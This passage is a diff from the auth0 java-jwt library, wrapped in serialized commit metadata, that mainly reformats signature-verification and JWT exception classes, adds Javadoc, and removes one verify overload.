-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
-     */
-
-    byte[] createSignatureFor(String algorithm, byte[] secretBytes, byte[] headerBytes, byte[] payloadBytes) throws NoSuchAlgorithmException, InvalidKeyException {
-        final Mac mac = Mac.getInstance(algorithm);
-        mac.init(new SecretKeySpec(secretBytes, algorithm));
-        mac.update(headerBytes);
-        mac.update(JWT_PART_SEPARATOR);
-        return mac.doFinal(payloadBytes);
+    boolean verifySignatureFor(
+            String algorithm,
+            byte[] secretBytes,
+            byte[] headerBytes,
+            byte[] payloadBytes,
+            byte[] signatureBytes
+    ) throws NoSuchAlgorithmException, InvalidKeyException {
+        return MessageDigest.isEqual(createSignatureFor(algorithm, secretBytes, headerBytes, payloadBytes),
+                signatureBytes);
     }
 
     /**
      * Verify signature for JWT header and payload.
      *
-     * @param algorithm algorithm name.
-     * @param publicKey algorithm public key.
-     * @param header JWT header.
-     * @param payload JWT payload.
+     * @param algorithm      algorithm name.
+     * @param publicKey      algorithm public key.
+     * @param header         JWT header.
+     * @param payload        JWT payload.
      * @param signatureBytes JWT signature.
      * @return true if signature is valid.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
+     * @throws InvalidKeyException      if the given key is inappropriate for initializing the specified algorithm.
      */
-
-    boolean verifySignatureFor(String algorithm, PublicKey publicKey, String header, String payload, byte[] signatureBytes)  throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
-        return verifySignatureFor(algorithm, publicKey, header.getBytes(StandardCharsets.UTF_8), payload.getBytes(StandardCharsets.UTF_8), signatureBytes);
+    boolean verifySignatureFor(
+            String algorithm,
+            PublicKey publicKey,
+            String header,
+            String payload,
+            byte[] signatureBytes
+    ) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
+        return verifySignatureFor(algorithm, publicKey, header.getBytes(StandardCharsets.UTF_8),
+                payload.getBytes(StandardCharsets.UTF_8), signatureBytes);
     }
 
     /**
      * Verify signature for JWT header and payload using a public key.
      *
-     * @param algorithm algorithm name.
-     * @param publicKey the public key to use for verification.
-     * @param headerBytes JWT header.
-     * @param payloadBytes JWT payload.
+     * @param algorithm      algorithm name.
+     * @param publicKey      the public key to use for verification.
+     * @param headerBytes    JWT header.
+     * @param payloadBytes   JWT payload.
      * @param signatureBytes JWT signature.
      * @return true if signature is valid.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
+     * @throws InvalidKeyException      if the given key is inappropriate for initializing the specified algorithm.
      */
-
-    boolean verifySignatureFor(String algorithm, PublicKey publicKey, byte[] headerBytes, byte[] payloadBytes, byte[] signatureBytes) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
+    boolean verifySignatureFor(
+            String algorithm,
+            PublicKey publicKey,
+            byte[] headerBytes,
+            byte[] payloadBytes,
+            byte[] signatureBytes
+    ) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
         final Signature s = Signature.getInstance(algorithm);
         s.initVerify(publicKey);
         s.update(headerBytes);
@@ -110,17 +115,22 @@ boolean verifySignatureFor(String algorithm, PublicKey publicKey, byte[] headerB
     /**
      * Create signature for JWT header and payload using a private key.
      *
-     * @param algorithm algorithm name.
-     * @param privateKey the private key to use for signing.
-     * @param headerBytes JWT header.
+     * @param algorithm    algorithm name.
+     * @param privateKey   the private key to use for signing.
+     * @param headerBytes  JWT header.
      * @param payloadBytes JWT payload.
      * @return the signature bytes.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
-     * @throws SignatureException if this signature object is not initialized properly or if this signature algorithm is unable to process the input data provided.
+     * @throws InvalidKeyException      if the given key is inappropriate for initializing the specified algorithm.
+     * @throws SignatureException       if this signature object is not initialized properly
+     *                                  or if this signature algorithm is unable to process the input data provided.
      */
-
-    byte[] createSignatureFor(String algorithm, PrivateKey privateKey, byte[] headerBytes, byte[] payloadBytes) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
+    byte[] createSignatureFor(
+            String algorithm,
+            PrivateKey privateKey,
+            byte[] headerBytes,
+            byte[] payloadBytes
+    ) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
         final Signature s = Signature.getInstance(algorithm);
         s.initSign(privateKey);
         s.update(headerBytes);
@@ -130,75 +140,66 @@ byte[] createSignatureFor(String algorithm, PrivateKey privateKey, byte[] header
     }
 
     /**
-     * Verify signature.
-     * For valid verification, ensure the content is in the format {HEADER}.{PAYLOAD}
+     * Create signature for JWT header and payload.
      *
-     * @param algorithm algorithm name.
-     * @param secretBytes algorithm secret.
-     * @param contentBytes the content to which the signature applies.
-     * @param signatureBytes JWT signature.
-     * @return true if signature is valid.
+     * @param algorithm    algorithm name.
+     * @param secretBytes  algorithm secret.
+     * @param headerBytes  JWT header.
+     * @param payloadBytes JWT payload.
+     * @return the signature bytes.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
+     * @throws InvalidKeyException      if the given key is inappropriate for initializing the specified algorithm.
      */
-
-    boolean verifySignatureFor(String algorithm, byte[] secretBytes, byte[] contentBytes, byte[] signatureBytes) throws NoSuchAlgorithmException, InvalidKeyException {
-        return MessageDigest.isEqual(createSignatureFor(algorithm, secretBytes, contentBytes), signatureBytes);
+    byte[] createSignatureFor(
+            String algorithm,
+            byte[] secretBytes,
+            byte[] headerBytes,
+            byte[] payloadBytes
+    ) throws NoSuchAlgorithmException, InvalidKeyException {
+        final Mac mac = Mac.getInstance(algorithm);
+        mac.init(new SecretKeySpec(secretBytes, algorithm));
+        mac.update(headerBytes);
+        mac.update(JWT_PART_SEPARATOR);
+        return mac.doFinal(payloadBytes);
     }
 
     /**
      * Create signature.
      * To get the correct JWT Signature, ensure the content is in the format {HEADER}.{PAYLOAD}
      *
-     * @param algorithm algorithm name.
-     * @param secretBytes algorithm secret.
+     * @param algorithm    algorithm name.
+     * @param secretBytes  algorithm secret.
      * @param contentBytes the content to be signed.
      * @return the signature bytes.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
+     * @throws InvalidKeyException      if the given key is inappropriate for initializing the specified algorithm.
      */
-
-    byte[] createSignatureFor(String algorithm, byte[] secretBytes, byte[] contentBytes) throws NoSuchAlgorithmException, InvalidKeyException {
+    byte[] createSignatureFor(String algorithm, byte[] secretBytes, byte[] contentBytes)
+            throws NoSuchAlgorithmException, InvalidKeyException {
         final Mac mac = Mac.getInstance(algorithm);
         mac.init(new SecretKeySpec(secretBytes, algorithm));
         return mac.doFinal(contentBytes);
     }
 
-    /**
-     * Verify signature using a public key.
-     * For valid verification, ensure the content is in the format {HEADER}.{PAYLOAD}
-     *
-     * @param algorithm algorithm name.
-     * @param publicKey algorithm public key.
-     * @param contentBytes the content to which the signature applies.
-     * @param signatureBytes JWT signature.
-     * @return the signature bytes.
-     * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
-     * @throws SignatureException if this signature object is not initialized properly or if this signature algorithm is unable to process the input data provided.
-     */
-
-    boolean verifySignatureFor(String algorithm, PublicKey publicKey, byte[] contentBytes, byte[] signatureBytes) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
-        final Signature s = Signature.getInstance(algorithm);
-        s.initVerify(publicKey);
-        s.update(contentBytes);
-        return s.verify(signatureBytes);
-    }
-
     /**
      * Create signature using a private key.
      * To get the correct JWT Signature, ensure the content is in the format {HEADER}.{PAYLOAD}
      *
-     * @param algorithm algorithm name.
-     * @param privateKey the private key to use for signing.
+     * @param algorithm    algorithm name.
+     * @param privateKey   the private key to use for signing.
      * @param contentBytes the content to be signed.
      * @return the signature bytes.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
-     * @throws SignatureException if this signature object is not initialized properly or if this signature algorithm is unable to process the input data provided.
+     * @throws InvalidKeyException      if the given key is inappropriate for initializing the specified algorithm.
+     * @throws SignatureException       if this signature object is not initialized properly
+     *                                  or if this signature algorithm is unable to process the input data provided.
      */
 
-    byte[] createSignatureFor(String algorithm, PrivateKey privateKey, byte[] contentBytes) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
+    byte[] createSignatureFor(
+            String algorithm,
+            PrivateKey privateKey,
+            byte[] contentBytes
+    ) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
         final Signature s = Signature.getInstance(algorithm);
         s.initSign(privateKey);
         s.update(contentBytes);u     }(jr  (26700a2ac40e85621432e3bb878cb3fb88a94f87jlr  >lib/src/main/java/com/auth0/jwt/algorithms/ECDSAAlgorithm.javajnr  modifiedjfr  K jgr  Kjpr  K9jqr  https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.javajsr  https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  X]  @@ -24,7 +24,8 @@ class ECDSAAlgorithm extends Algorithm {
     private final int ecNumberSize;
 
     //Visible for testing
-    ECDSAAlgorithm(CryptoHelper crypto, String id, String algorithm, int ecNumberSize, ECDSAKeyProvider keyProvider) throws IllegalArgumentException {
+    ECDSAAlgorithm(CryptoHelper crypto, String id, String algorithm, int ecNumberSize, ECDSAKeyProvider keyProvider)
+            throws IllegalArgumentException {
         super(id, algorithm);
         if (keyProvider == null) {
             throw new IllegalArgumentException("The Key Provider cannot be null.");
@@ -34,7 +35,8 @@ class ECDSAAlgorithm extends Algorithm {
         this.ecNumberSize = ecNumberSize;
     }
 
-    ECDSAAlgorithm(String id, String algorithm, int ecNumberSize, ECDSAKeyProvider keyProvider) throws IllegalArgumentException {
+    ECDSAAlgorithm(String id, String algorithm, int ecNumberSize, ECDSAKeyProvider keyProvider)
+            throws IllegalArgumentException {
         this(new CryptoHelper(), id, algorithm, ecNumberSize, keyProvider);
     }
 
@@ -46,12 +48,14 @@ public void verify(DecodedJWT jwt) throws SignatureVerificationException {
             if (publicKey == null) {
                 throw new IllegalStateException("The given Public Key is null.");
             }
-            boolean valid = crypto.verifySignatureFor(getDescription(), publicKey, jwt.getHeader(), jwt.getPayload(), JOSEToDER(signatureBytes));
+            boolean valid = crypto.verifySignatureFor(getDescription(), publicKey, jwt.getHeader(),
+                    jwt.getPayload(), JOSEToDER(signatureBytes));
 
             if (!valid) {
                 throw new SignatureVerificationException(this);
             }
-        } catch (NoSuchAlgorithmException | SignatureException | InvalidKeyException | IllegalStateException | IllegalArgumentException e) {
+        } catch (NoSuchAlgorithmException | SignatureException | InvalidKeyException
+                | IllegalStateException | IllegalArgumentException e) {
             throw new SignatureVerificationException(this, e);
         }
     }
@@ -116,25 +120,27 @@ byte[] DERToJOSE(byte[] derSignature) throws SignatureException {
         offset++;
 
         //Obtain R number length (Includes padding) and skip it
-        int rLength = derSignature[offset++];
-        if (rLength > ecNumberSize + 1) {
+        int rlength = derSignature[offset++];
+        if (rlength > ecNumberSize + 1) {
             throw new SignatureException("Invalid DER signature format.");
         }
-        int rPadding = ecNumberSize - rLength;
+        int rpadding = ecNumberSize - rlength;
         //Retrieve R number
-        System.arraycopy(derSignature, offset + Math.max(-rPadding, 0), joseSignature, Math.max(rPadding, 0), rLength + Math.min(rPadding, 0));
+        System.arraycopy(derSignature, offset + Math.max(-rpadding, 0),
+                joseSignature, Math.max(rpadding, 0), rlength + Math.min(rpadding, 0));
 
         //Skip R number and 0x02
-        offset += rLength + 1;
+        offset += rlength + 1;
 
         //Obtain S number length. (Includes padding)
-        int sLength = derSignature[offset++];
-        if (sLength > ecNumberSize + 1) {
+        int slength = derSignature[offset++];
+        if (slength > ecNumberSize + 1) {
             throw new SignatureException("Invalid DER signature format.");
         }
-        int sPadding = ecNumberSize - sLength;
+        int spadding = ecNumberSize - slength;
         //Retrieve R number
-        System.arraycopy(derSignature, offset + Math.max(-sPadding, 0), joseSignature, ecNumberSize + Math.max(sPadding, 0), sLength + Math.min(sPadding, 0));
+        System.arraycopy(derSignature, offset + Math.max(-spadding, 0), joseSignature,
+                ecNumberSize + Math.max(spadding, 0), slength + Math.min(spadding, 0));
 
         return joseSignature;
     }
@@ -146,12 +152,12 @@ byte[] JOSEToDER(byte[] joseSignature) throws SignatureException {
         }
 
         // Retrieve R and S number's length and padding.
-        int rPadding = countPadding(joseSignature, 0, ecNumberSize);
-        int sPadding = countPadding(joseSignature, ecNumberSize, joseSignature.length);
-        int rLength = ecNumberSize - rPadding;
-        int sLength = ecNumberSize - sPadding;
+        int rpadding = countPadding(joseSignature, 0, ecNumberSize);
+        int spadding = countPadding(joseSignature, ecNumberSize, joseSignature.length);
+        int rlength = ecNumberSize - rpadding;
+        int slength = ecNumberSize - spadding;
 
-        int length = 2 + rLength + 2 + sLength;
+        int length = 2 + rlength + 2 + slength;
         if (length > 255) {
             throw new SignatureException("Invalid JOSE signature format.");
         }
@@ -174,31 +180,32 @@ byte[] JOSEToDER(byte[] joseSignature) throws SignatureException {
 
         // Header with "min R" number length
         derSignature[offset++] = (byte) 0x02;
-        derSignature[offset++] = (byte) rLength;
+        derSignature[offset++] = (byte) rlength;
 
         // R number
-        if (rPadding < 0) {
+        if (rpadding < 0) {
             //Sign
             derSignature[offset++] = (byte) 0x00;
             System.arraycopy(joseSignature, 0, derSignature, offset, ecNumberSize);
             offset += ecNumberSize;
         } else {
-            int copyLength = Math.min(ecNumberSize, rLength);
-            System.arraycopy(joseSignature, rPadding, derSignature, offset, copyLength);
+            int copyLength = Math.min(ecNumberSize, rlength);
+            System.arraycopy(joseSignature, rpadding, derSignature, offset, copyLength);
             offset += copyLength;
         }
 
         // Header with "min S" number length
         derSignature[offset++] = (byte) 0x02;
-        derSignature[offset++] = (byte) sLength;
+        derSignature[offset++] = (byte) slength;
 
         // S number
-        if (sPadding < 0) {
+        if (spadding < 0) {
             //Sign
             derSignature[offset++] = (byte) 0x00;
             System.arraycopy(joseSignature, ecNumberSize, derSignature, offset, ecNumberSize);
         } else {
-            System.arraycopy(joseSignature, ecNumberSize + sPadding, derSignature, offset, Math.min(ecNumberSize, sLength));
+            System.arraycopy(joseSignature, ecNumberSize + spadding, derSignature, offset,
+                    Math.min(ecNumberSize, slength));
         }
 
         return derSignature;u}(jr  (0306e7c420d2ad375f4e0bcddc32a4997c3d22e7jlr  =lib/src/main/java/com/auth0/jwt/algorithms/HMACAlgorithm.javajnr  modifiedjfr  Kjgr  Kjpr  Kjqr  https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.javajsr  https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  X  @@ -21,7 +21,8 @@ class HMACAlgorithm extends Algorithm {
     private final byte[] secret;
 
     //Visible for testing
-    HMACAlgorithm(CryptoHelper crypto, String id, String algorithm, byte[] secretBytes) throws IllegalArgumentException {
+    HMACAlgorithm(CryptoHelper crypto, String id, String algorithm, byte[] secretBytes)
+            throws IllegalArgumentException {
         super(id, algorithm);
         if (secretBytes == null) {
             throw new IllegalArgumentException("The Secret cannot be null");
@@ -50,7 +51,8 @@ static byte[] getSecretBytes(String secret) throws IllegalArgumentException {
     public void verify(DecodedJWT jwt) throws SignatureVerificationException {
         try {
             byte[] signatureBytes = Base64.getUrlDecoder().decode(jwt.getSignature());
-            boolean valid = crypto.verifySignatureFor(getDescription(), secret, jwt.getHeader(), jwt.getPayload(), signatureBytes);
+            boolean valid = crypto.verifySignatureFor(
+                    getDescription(), secret, jwt.getHeader(), jwt.getPayload(), signatureBytes);
             if (!valid) {
                 throw new SignatureVerificationException(this);
             }u}(jr  (5c6c0fc5ef0aa48041ee0d054890b1c0fcda781ejlr  =lib/src/main/java/com/auth0/jwt/algorithms/NoneAlgorithm.javajnr  modifiedjfr  K jgr  Kjpr  Kjqr  https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithm.javajsr  https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithm.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithm.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  X  @@ -3,7 +3,6 @@
 import com.auth0.jwt.exceptions.SignatureGenerationException;
 import com.auth0.jwt.exceptions.SignatureVerificationException;
 import com.auth0.jwt.interfaces.DecodedJWT;
-
 import java.util.Base64;
 
 class NoneAlgorithm extends Algorithm {u}(jr  (0c7a5b579f09c8ecf734431a0ff01862b5a35f0cjlr  <lib/src/main/java/com/auth0/jwt/algorithms/RSAAlgorithm.javajnr  modifiedjfr  Kjgr  Kjpr  Kjqr  https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithm.javajsr  https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithm.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithm.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  XI  @@ -24,7 +24,8 @@ class RSAAlgorithm extends Algorithm {
     private final CryptoHelper crypto;
 
     //Visible for testing
-    RSAAlgorithm(CryptoHelper crypto, String id, String algorithm, RSAKeyProvider keyProvider) throws IllegalArgumentException {
+    RSAAlgorithm(CryptoHelper crypto, String id, String algorithm, RSAKeyProvider keyProvider)
+            throws IllegalArgumentException {
         super(id, algorithm);
         if (keyProvider == null) {
             throw new IllegalArgumentException("The Key Provider cannot be null.");
@@ -45,11 +46,13 @@ public void verify(DecodedJWT jwt) throws SignatureVerificationException {
             if (publicKey == null) {
                 throw new IllegalStateException("The given Public Key is null.");
             }
-            boolean valid = crypto.verifySignatureFor(getDescription(), publicKey, jwt.getHeader(), jwt.getPayload(), signatureBytes);
+            boolean valid = crypto.verifySignatureFor(
+                    getDescription(), publicKey, jwt.getHeader(), jwt.getPayload(), signatureBytes);
             if (!valid) {
                 throw new SignatureVerificationException(this);
             }
-        } catch (NoSuchAlgorithmException | SignatureException | InvalidKeyException | IllegalArgumentException | IllegalStateException e) {
+        } catch (NoSuchAlgorithmException | SignatureException | InvalidKeyException
+                | IllegalArgumentException | IllegalStateException e) {
             throw new SignatureVerificationException(this, e);
         }
     }
@@ -66,7 +69,7 @@ public byte[] sign(byte[] headerBytes, byte[] payloadBytes) throws SignatureGene
             throw new SignatureGenerationException(this, e);
         }
     }
-    
+
     @Override
     public byte[] sign(byte[] contentBytes) throws SignatureGenerationException {
         try {u}(jr  (d6b71205837f2f4ca262448c55d300ea8559d8f3jlr  Jlib/src/main/java/com/auth0/jwt/exceptions/AlgorithmMismatchException.javajnr  modifiedjfr  Kjgr  K jpr  Kjqr  https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FAlgorithmMismatchException.javajsr  https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FAlgorithmMismatchException.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FAlgorithmMismatchException.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  XF  @@ -1,5 +1,8 @@
 package com.auth0.jwt.exceptions;
 
+/**
+ * The exception that will be thrown if the exception doesn't match the one mentioned in the JWT Header.
+ */
 public class AlgorithmMismatchException extends JWTVerificationException {
     public AlgorithmMismatchException(String message) {
         super(message);u}(jr  (f80fb752045bf22b3e8e639c9713269c52c2e480jlr  Elib/src/main/java/com/auth0/jwt/exceptions/InvalidClaimException.javajnr  modifiedjfr  Kjgr  Kjpr  Kjqr  https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FInvalidClaimException.javajsr  https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FInvalidClaimException.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FInvalidClaimException.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  X  @@ -1,6 +1,8 @@
 package com.auth0.jwt.exceptions;
 
-
+/**
+ * The exception that will be thrown while verifying Claims of a JWT.
+ */
 public class InvalidClaimException extends JWTVerificationException {
     public InvalidClaimException(String message) {
         super(message);u}(jr  (c7e162ea9825bec91520505cfbcabc674d26075ejlr  Dlib/src/main/java/com/auth0/jwt/exceptions/JWTCreationException.javajnr  modifiedjfr  Kjgr  K jpr  Kjqr  https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FJWTCreationException.javajsr  https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FJWTCreationException.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FJWTCreationException.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  X  @@ -1,5 +1,8 @@
 package com.auth0.jwt.exceptions;
 
+/**
+ * The exception that is thrown when a JWT cannot be created.
+ */
 public class JWTCreationException extends RuntimeException {
     public JWTCreationException(String message, Throwable cause) {
         super(message, cause);u}(jr  (448714e9b1e92cbb590870c8a45d8e6730164983jlr  Blib/src/main/java/com/auth0/jwt/exceptions/JWTDecodeException.javajnr  modifiedjfr  Kjgr  K jpr  Kjqr  https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FJWTDecodeException.javajsr  https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FJWTDecodeException.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FJWTDecodeException.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  X6  @@ -1,5 +1,8 @@
 package com.auth0.jwt.exceptions;
 
+/**
+ * The exception that is thrown when any part of the token contained an invalid JWT or JSON format.
+ */
 public class JWTDecodeException extends JWTVerificationException {
     public JWTDecodeException(String message) {
         this(message, null);u}(jr  (dd36dcd331c31c282a00ffd09241f1fcbcb9336ejlr  Hlib/src/main/java/com/auth0/jwt/exceptions/JWTVerificationException.javajnr  modifiedjfr  Kjgr  K jpr  Kjqr  https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FJWTVerificationException.javajsr  https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FJWTVerificationException.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FJWTVerificationException.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  X  @@ -1,5 +1,8 @@
 package com.auth0.jwt.exceptions;
 
+/**
+ * Parent to all the exception thrown while verifying a JWT.
+ */
 public class JWTVerificationException extends RuntimeException {
     public JWTVerificationException(String message) {
         this(message, null);u}(jr  (4b7668a092219d992902413c7ee80d8965088dcajlr  Llib/src/main/java/com/auth0/jwt/exceptions/SignatureGenerationException.javajnr  modifiedjfr  Kjgr  K jpr  Kjqr  https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FSignatureGenerationException.javajsr  https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FSignatureGenerationException.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FSignatureGenerationException.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  X  @@ -2,6 +2,9 @@
 
 import com.auth0.jwt.algorithms.Algorithm;
 
+/**
+ * The exception that is thrown when signature is not able to be generated.
+ */
 public class SignatureGenerationException extends JWTCreationException {
     public SignatureGenerationException(Algorithm algorithm, Throwable cause) {
         super("The Token's Signature couldn't be generated when signing using the Algorithm: " + algorithm, cause);u}(jr  (fa7c3cabfce64230a893194a8465e12e72a800d6jlr  Nlib/src/main/java/com/auth0/jwt/exceptions/SignatureVerificationException.javajnr  modifiedjfr  Kjgr  K jpr  Kjqr  https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FSignatureVerificationException.javajsr  https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FSignatureVerificationException.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FSignatureVerificationException.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  XA  @@ -2,6 +2,9 @@
 
 import com.auth0.jwt.algorithms.Algorithm;
 
+/**
+ * The exception that is thrown if the Signature verification fails.
+ */
 public class SignatureVerificationException extends JWTVerificationException {
     public SignatureVerificationException(Algorithm algorithm) {
         this(algorithm, null);u}(jr  (66f282859fea4abc435a7db0ccc698d78c312063jlr  Elib/src/main/java/com/auth0/jwt/exceptions/TokenExpiredException.javajnr  modifiedjfr  Kjgr  K jpr  Kjqr  https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FTokenExpiredException.javajsr  https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FTokenExpiredException.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FTokenExpiredException.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  X
  @@ -1,5 +1,8 @@
 package com.auth0.jwt.exceptions;
 
+/**
+ * The exception that is thrown if the token is expired.
+ */
 public class TokenExpiredException extends JWTVerificationException {
 
